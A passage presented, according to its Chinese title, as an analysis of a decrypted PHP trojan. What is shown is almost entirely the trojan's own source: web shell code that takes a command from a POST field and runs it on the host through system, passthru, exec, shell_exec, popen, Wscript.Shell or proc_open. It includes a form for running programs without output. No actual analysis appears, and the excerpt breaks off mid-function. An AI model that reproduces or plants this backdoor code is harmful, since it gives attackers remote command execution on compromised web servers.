php 木马的分析(加密破解)

        echo "<form action="?action=shell&dir=".urlencode($dir)."" method="POST">n";
        $tb->tdbody('无回显运行程序 → 文件: '.$tb->makeinput('program',$program).' 参数: '.$tb->makeinput('prog',$prog,'','text','40').' '.$tb->makeinput('','Run','','submit'),'center','2','35');
        $tb->makehidden('do','programrun');
        echo "</form>n";
    }
echo "<form action="?action=shell&dir=".urlencode($dir)."" method="POST">n";
if(isset($_POST['cmd'])) $cmd = $_POST['cmd'];
    $tb->tdbody('提示:如果输出结果不完全,建议把输出结果写入文件.这样可以得到全部内容. ');
    $tb->tdbody('proc_open函数假设不是默认的winnt系统请自行设置使用,自行修改记得写退出,否则会在主机上留下一个未结束的进程.');
    $tb->tdbody('proc_open函数要使用的cmd程序的位置:'.$tb->makeinput('cmd',$cmd,'','text','30').'(要是是linux系统还是大大们自己修改吧)');
$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell','proc_open'=>'proc_open') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','proc_open'=>'proc_open');
$tb->tdbody('选择执行函数: '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' 输入命令: '.$tb->makeinput('command',$_POST['command'],'','text','60').' '.$tb->makeinput('','Run','','submit'));
?>
<tr class="secondalt">
<td align="center"><textarea name="textarea" cols="100" rows="25" readonly><?php
    if (!empty($_POST['command'])) {
        if ($execfunc=="system") {
            system($_POST['command']);
        } elseif ($execfunc=="passthru") {
            passthru($_POST['command']);
        } elseif ($execfunc=="exec") {
            $result = exec($_POST['command']);
            echo $result;
        } elseif ($execfunc=="shell_exec") {
            $result=shell_exec($_POST['command']);
            echo $result;